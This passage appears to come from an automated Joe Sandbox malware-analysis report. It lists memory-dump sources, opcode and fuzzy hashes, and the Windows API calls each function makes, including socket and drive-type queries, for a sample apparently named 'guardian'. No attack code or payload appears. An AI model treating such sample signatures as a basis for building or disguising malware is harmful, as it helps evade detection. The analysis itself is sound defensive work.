          • Opcode Fuzzy Hash: 2255fff6c8465e6476571f94820f71dd7c755f5f2bc31c2f3373296a9cd0955c
          • Instruction Fuzzy Hash: 76F0F836400018ABCF226FA5DC48ADA7F6DEB19390F048076FC56E5260D774DE959B98
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID:
          • String ID: <
          • API String ID: 0-4251816714
          • Opcode ID: 2096d5c41b129d78a0361406383e135f1b3241ee88d8c3d2e92c4403914be6ad
          • Instruction ID: 8b8396d1a8a2beb1ac0f3ac3e37c34269c73e10d9588a4b3f07ccf747ee4f8b9
          • Opcode Fuzzy Hash: 2096d5c41b129d78a0361406383e135f1b3241ee88d8c3d2e92c4403914be6ad
          • Instruction Fuzzy Hash: 27B191715487418BC724CF28C890AABB7E1BBC4714F158A2EF49AD7281DB38D9498B96
          APIs
          • __startOneArgErrorHandling.LIBCMT ref: 00480A32
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: ErrorHandling__start
          • String ID: pow
          • API String ID: 3213639722-2276729525
          • Opcode ID: 73735dea691cb9537018dc8324d496574da30198e25420151f2528b7d8129908
          • Instruction ID: 969502659b2e9eb03ba7ebc76f93542d8b8bc78dd21eca62d6effdf2693e5bd8
          • Opcode Fuzzy Hash: 73735dea691cb9537018dc8324d496574da30198e25420151f2528b7d8129908
          • Instruction Fuzzy Hash: 4C515A60A1920587DBD57B18D90137F2B94DB20714F218D6FE4DA423A9EB3C8CDD978E
          APIs
          • CreateMenu.USER32 ref: 004278C5
          • CreateAcceleratorTableA.USER32(00000000,00000000,?,?,00000000,0049E2D8,000000FF,0041CCFC,00000000,?,00000000,00000000,000000FF,00000000,?,?), ref: 00427983
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: Create$AcceleratorMenuTable
          • String ID: PjJ
          • API String ID: 2356407203-2598820865
          • Opcode ID: bd8dcbc1bee4c2023794b2bc1975cd0728bf88f84e777b3f0633002d5d26e6a7
          • Instruction ID: 49b7df47a03bb0df53c95c282ef9d23f00887dd5c595dadc5e460e84f50742c6
          • Opcode Fuzzy Hash: bd8dcbc1bee4c2023794b2bc1975cd0728bf88f84e777b3f0633002d5d26e6a7
          • Instruction Fuzzy Hash: 2341DFB12083119BD310DF18E881B2BB7F8EF85714F85092EF89597391E379E944CB9A
          APIs
          • GetCPInfo.KERNEL32(?,00000000), ref: 0048512E
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: Info
          • String ID: $
          • API String ID: 1807457897-3032137957
          • Opcode ID: dd2952875fad0b3aca1c7980c1a68a6047b7aa7d2d50757fbc57f9c0bbeec37a
          • Instruction ID: c948cfa3850fe51b0cd07b2a4597535db3dfe5215f0c84272a5c2beabb91732a
          • Opcode Fuzzy Hash: dd2952875fad0b3aca1c7980c1a68a6047b7aa7d2d50757fbc57f9c0bbeec37a
          • Instruction Fuzzy Hash: 11417A31404A582FDB16E724DD8ABFF7F99AB02704F140CE6E549CB252C6394948DFAB
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID:
          • String ID: @J
          • API String ID: 0-2185327383
          • Opcode ID: d468fcfc7c77bf2bdc1ebf555f640591051cccd28cbfffe20224c51834354d6d
          • Instruction ID: 248c0bf79c9416a68fb9c0ac79e300fa45ed4c4262d2f8dfd63a9b572dc94755
          • Opcode Fuzzy Hash: d468fcfc7c77bf2bdc1ebf555f640591051cccd28cbfffe20224c51834354d6d
          • Instruction Fuzzy Hash: 8941A3B45146008FC314DF1CC55169BBBE0AF88304FA5C8AEE489D7362D73ED806CB99
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID:
          • String ID: @J
          • API String ID: 0-2185327383
          • Opcode ID: bd73219ce218636f69f7756dd75b45e431b09bf8ed8373cf69f04d6e14bca7ec
          • Instruction ID: fb1b96662d5547cca815fe47ecd2737aa8ecc6630fd2420de139332512259b90
          • Opcode Fuzzy Hash: bd73219ce218636f69f7756dd75b45e431b09bf8ed8373cf69f04d6e14bca7ec
          • Instruction Fuzzy Hash: 7F31E0B41542128BC718FF18C5515AFB7E4AB88310FE44CAFE8C993362D67DD845CB8A
          APIs
            • Part of subcall function 00498883: __EH_prolog.LIBCMT ref: 00498888
            • Part of subcall function 00498883: BeginPaint.USER32(?,?,?,?,0040D869), ref: 004988B1
            • Part of subcall function 00498434: GetClipBox.GDI32(?,?), ref: 0049843B
          • IsRectEmpty.USER32(?), ref: 0041615A
            • Part of subcall function 00498A80: __EH_prolog.LIBCMT ref: 00498A85
            • Part of subcall function 00498A80: CreateSolidBrush.GDI32(?), ref: 00498AA2
          • FillRect.USER32(?,?,00000000), ref: 00416187
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: H_prologRect$BeginBrushClipCreateEmptyFillPaintSolid
          • String ID: \[J
          • API String ID: 3827101677-1436623575
          • Opcode ID: b28e08834df294105aa028767e51f70efb30bff50a8b8c4129ab3f16ad5d2646
          • Instruction ID: 87fe66c697a9eb69a16b91b56aaa88807dc2a0f121791fac01cae7f00f5236bf
          • Opcode Fuzzy Hash: b28e08834df294105aa028767e51f70efb30bff50a8b8c4129ab3f16ad5d2646
          • Instruction Fuzzy Hash: D631AF711087419FD714EB24C941BABBBE4BF99704F10892EF5A6432A1DB7CD908CB56
          APIs
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: __ftol
          • String ID: xcL
          • API String ID: 495808979-2484720933
          • Opcode ID: 98ac87c2d837a3f4c9b1cb7a6fab4eb95a4f25328816d4ba95f34dc23e6746e8
          • Instruction ID: abe6be23ac70f74f04f5b3beeac19cac773ca5fe83fa68ca6a637e8e5d2c9b4d
          • Opcode Fuzzy Hash: 98ac87c2d837a3f4c9b1cb7a6fab4eb95a4f25328816d4ba95f34dc23e6746e8
          • Instruction Fuzzy Hash: 6E213AB18003118BD300DF14DC042BA7BE4FBD1354F424476E68893222D778A9A9C79A
          APIs
            • Part of subcall function 0049C5AC: LeaveCriticalSection.KERNEL32(?,0049B91A,00000010,00000010,?,00000000,?,?,?,0049B2EA,0049B34D,0049ABD3,0049B2F0,00496AC5,00497D61), ref: 0049C5C4
            • Part of subcall function 004836EC: RaiseException.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,004808BA,00000000), ref: 0048371A
          • wsprintfA.USER32 ref: 004943CF
          • wsprintfA.USER32 ref: 004943EB
          • GetClassInfoA.USER32(?,-00000058,?), ref: 004943FA
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: wsprintf$ClassCriticalExceptionInfoLeaveRaiseSection
          • String ID: Afx:%x:%x
          • API String ID: 2529146597-2071556601
          • Opcode ID: 28d19bfa81e393cc367471fbb5da6d8caa2db419c2652f5bbdecc9eb1e96a2fe
          • Instruction ID: ca7f4224f69aa75308a931f2188c3df8ad0669337a4bf6877552edede218e7f5
          • Opcode Fuzzy Hash: 28d19bfa81e393cc367471fbb5da6d8caa2db419c2652f5bbdecc9eb1e96a2fe
          • Instruction Fuzzy Hash: 91111F71A00219AF8F10EFA5D9819EF7FB8EF99354B00447BE905E2201E77899518BA9
          APIs
            • Part of subcall function 00498883: __EH_prolog.LIBCMT ref: 00498888
            • Part of subcall function 00498883: BeginPaint.USER32(?,?,?,?,0040D869), ref: 004988B1
            • Part of subcall function 00498434: GetClipBox.GDI32(?,?), ref: 0049843B
          • IsRectEmpty.USER32(?), ref: 0040D884
            • Part of subcall function 0040AAF0: GetSysColor.USER32(0000000F), ref: 0040AAFD
            • Part of subcall function 00498A80: __EH_prolog.LIBCMT ref: 00498A85
            • Part of subcall function 00498A80: CreateSolidBrush.GDI32(?), ref: 00498AA2
          • FillRect.USER32(?,?,00000000), ref: 0040D8B6
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: H_prologRect$BeginBrushClipColorCreateEmptyFillPaintSolid
          • String ID: \[J
          • API String ID: 534515830-1436623575
          • Opcode ID: 18660add52ba8dd29cbe25b6b046d606bfb9e86dc7bb03c096fda550589e353f
          • Instruction ID: 2830b138b6885481d655bf5c09ec2cf966e2f629a6a09b25793c7871fad7ae11
          • Opcode Fuzzy Hash: 18660add52ba8dd29cbe25b6b046d606bfb9e86dc7bb03c096fda550589e353f
          • Instruction Fuzzy Hash: 892183725047409FD714EF68C841B5BBBE8BF89704F14892EF4A683291DB3CE508CB56
          APIs
          • ioctlsocket.WS2_32(?,4004667F,?), ref: 0042E8D2
          • recvfrom.WS2_32(00000000,00000000,?,00000000,00000000,00000000), ref: 0042E920
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: ioctlsocketrecvfrom
          • String ID: lJ
          • API String ID: 217199969-3144685753
          • Opcode ID: 61a5613977322e55f9bb7e33a034c07a01af8273d104b4d68ee0e628c54d7c00
          • Instruction ID: 0878af272e0ba9f4ecad3ec7461faf00b4ed39d541d4b0f7df58fd0625dc6e11
          • Opcode Fuzzy Hash: 61a5613977322e55f9bb7e33a034c07a01af8273d104b4d68ee0e628c54d7c00
          • Instruction Fuzzy Hash: 5E215EB4208601ABD314DF25C845B6BB7E4AF94724F548B2EF09A932D1DB78DC41CB5A
          APIs
          • GetDriveTypeA.KERNEL32(?,?,0048D38E,?,?), ref: 0048D46B
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: DriveType
          • String ID: :$\
          • API String ID: 338552980-1166558509
          • Opcode ID: db6f03be6f1660c3b8a2de9f0ab525862142f087d47d538a8de7871670933724
          • Instruction ID: bd663e7a802ad9c3762ab7280dfe18f209860d368d2df180a4453f2489a0ef4b
          • Opcode Fuzzy Hash: db6f03be6f1660c3b8a2de9f0ab525862142f087d47d538a8de7871670933724
          • Instruction Fuzzy Hash: DCE0D87120828C6DEF01DE649444B9E3F888B11B84F08C456F84CCD281D674E641C355
          APIs
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: wsprintf
          • String ID:
          • API String ID: 2111968516-0
          • Opcode ID: 9063ccd7880efbaf630c8eaf9991ba43d542de168ef89f7d3dceaed0364f8fa8
          • Instruction ID: 7cfc847d726aef5913156fb2e322c230cce4936f5e0663bddb33f905a348d5a7
          • Opcode Fuzzy Hash: 9063ccd7880efbaf630c8eaf9991ba43d542de168ef89f7d3dceaed0364f8fa8
          • Instruction Fuzzy Hash: EC31FCF15043045BC304EF64E845AAF77E8EFC4755F500A2DF94693281EB78DA08C6AA
          APIs
